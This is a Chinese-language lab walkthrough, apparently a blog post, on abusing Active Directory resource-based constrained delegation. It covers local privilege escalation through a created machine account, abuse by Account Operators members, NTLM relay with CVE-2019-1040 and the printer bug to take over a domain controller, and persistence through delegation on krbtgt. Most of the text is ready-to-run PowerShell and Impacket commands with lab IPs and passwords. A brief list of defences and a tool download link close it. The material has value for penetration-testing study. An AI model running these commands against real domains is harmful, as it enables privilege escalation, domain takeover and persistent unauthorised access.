利用方式1:基于资源的约束委派攻击本地提权
实验环境中 如果获取到了many的权限 就可以用这个用户的权限进行本地提权了
- 利用many域用户创建一个机器账户(每个域用户默认可以创建10个)
- 然后修改WEB的msDS-AllowedToActOnBehalfOfOtherIdentity 为新创建的机器用户的sid
- 然后利用机器账户申请票据 进行提权
创建机器用户
创建一个test1机器用户 密码123456
powershell Set-ExecutionPolicy Bypass -Scope Process import-module .\Powermad.ps1 New-MachineAccount -MachineAccount test1 -Password $(ConvertTo-SecureString "123456" -AsPlainText -Force)
这里需要注意 如果powershell设置了约束模式 则需要 bypass才能导入 这些powershell脚本
机器账户创建之后
利用powerView查询机器账户的sid(也可手动)
Get-NetComputer test1 -Properties objectsid
test1 sid:S-1-5-21-1400638014-602433399-2258725660-1148
设置委派 修改WEB的msds-allowedtoactonbehalfofotheridentity的值
利用powerView
powershell Set-ExecutionPolicy Bypass -Scope Process import-module .\powerview.ps1 $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-1400638014-602433399-2258725660-1148)" $SDBytes = New-Object byte[] ($SD.BinaryLength) $SD.GetBinaryForm($SDBytes, 0) Get-DomainComputer WEB| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
查询是否修改成功
Get-DomainComputer WEB -Properties msds-allowedtoactonbehalfofotheridentity
清除 msds-allowedtoactonbehalfofotheridentity 属性的值
Set-DomainObject WEB -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose
然后生成票据
python3 getST.py -dc-ip 10.150.127.166 haishi.com/test1\$:123456 -spn cifs/WEB.haishi.com -impersonate administrator
导入票据
export KRB5CCNAME=administrator.ccache python3 wmiexec.py WEB.haishi.com -no-pass -k -dc-ip 10.150.127.166
这里还是需要将域名加入到hosts
psexec上去权限更高
python3 psexec.py -k haishi.com/administrator@WEB.haishi.com -no-pass
利用方式2 Acount Operators组用户拿下主机
如果获得Acount Operators组用户就可以获得域内除了域控的所有主机权限
Acount Operators组成员可以修改域内除了域控其他所有主机的msDS-AllowedToActOnBehalfOfOtherIdentity
属性
这里本地设置一个Acount Operators组用户
就还是用many 加入进去
查询Acount Operators组成员
adfind.exe -h 10.150.127.166:389 -s subtree -b CN="Account Operators",CN=Builtin,DC=haishi,DC=com member
操作一样
先创建机器账户
powershell Set-ExecutionPolicy Bypass -Scope Process import-module .\Powermad.ps1 New-MachineAccount -MachineAccount test3 -Password $(ConvertTo-SecureString "123456" -AsPlainText -Force)
然后设置委派
先查sid
Get-NetComputer test1 -Properties objectsid
test3 sid:S-1-5-21-1400638014-602433399-2258725660-1152
修改WEB的msds-allowedtoactonbehalfofotheridentity的值
powershell Set-ExecutionPolicy Bypass -Scope Process import-module .\powerview.ps1 $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-1400638014-602433399-2258725660-1152)" $SDBytes = New-Object byte[] ($SD.BinaryLength) $SD.GetBinaryForm($SDBytes, 0) Get-DomainComputer WEB| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
然后生成票据
python3 getST.py -dc-ip 10.150.127.166 haishi.com/test3\$:123456 -spn cifs/WEB.haishi.com -impersonate administrator
导入票据
export KRB5CCNAME=administrator.ccache python3 wmiexec.py WEB.haishi.com -no-pass -k -dc-ip 10.150.127.166
利用方式3:结合HTLM Relay接管域控(CVE-2019-1040)
辅助域控 win2016
DC2 10.150.127.186
还是先在WEB上创建一个机器用户 test2 123456
powershell Set-ExecutionPolicy Bypass -Scope Process import-module .\Powermad.ps1 New-MachineAccount -MachineAccount test2 -Password $(ConvertTo-SecureString "123456" -AsPlainText -Force)
然后开启监听
python3 ntlmrelayx.py -t ldap://10.150.127.166 -smb2support --remove-mic --delegate-access --escalate-user test2\$
然后利用打印机漏洞
python3 printerbug.py haishi.com/many:asd123\!\@10.150.127.186 10.150.127.128
然后申请票据
python3 getST.py haishi.com/test2\$:123456 -spn CIFS/DC2.haishi.com -impersonate Administrator -dc-ip 10.150.127.166
导入
成功接管域控
ntlm-relay攻击的前提是,smb认证获取的机器没有开启smb签名
cve-2019-1040 在这里的作用是绕过了mic检验 因为打印机触发的是smb协议 域控是默认带有smb签名的 而cve漏洞在这里就刚好绕过了mic的检验 然后完成了ntlm-relay攻击
利用方式4 打造变种黄金票据
在获得域控的权限后 对krbtgt用户设置委派属性 来打造黄金票据 进行权限维持
先创建一个机器账户 test4 123456
然后来到域控上操作
在powershell中执行
Set-ADUser krbtgt -PrincipalsAllowedToDelegateToAccount test4$ Get-ADUser krbtgt -Properties PrincipalsAllowedToDelegateToAccount
已经成功配置基于资源的约束委派
现在不管krbtgt的密码 hash怎么变 都不会影响我们打造黄金票据
申请票据
python3 getST.py haishi.com/test4\$:123456 -spn krbtgt -impersonate administrator -dc-ip 10.150.127.166
导入票据
export KRB5CCNAME=administrator.ccache python3 smbexec.py -k administrator@DC.haishi.com -no-pass -dc-ip 10.150.127.166
域委派防范措施
高权限用户,设置为敏感用户,不能被委派
主机账号需设置委派时,只能设置为约束性委派;
Windows 2012 R2及更高的系统建立了受保护的用户组Protected Users,组内用户不允许被委派,这是有效的手段。受保护的用户组,
但有一个cve可绕过这些限制CVE-2020-1704
绕过原理就不细讲了 参考CVE-2020-17049
稳的防范 就打补丁打补丁 KB4598347
本来是想直接发环境的 但是发现有一台莫名其妙80多g 想想算了 大家自己搭吧 练练手 熟悉熟悉 - -
所用工具
链接:https://pan.baidu.com/s/1TEtjj8hf-pmp9ZsJqikFKQ
提取码:k0pd
https://blog.csdn.net/qq_41874930/article/details/108825010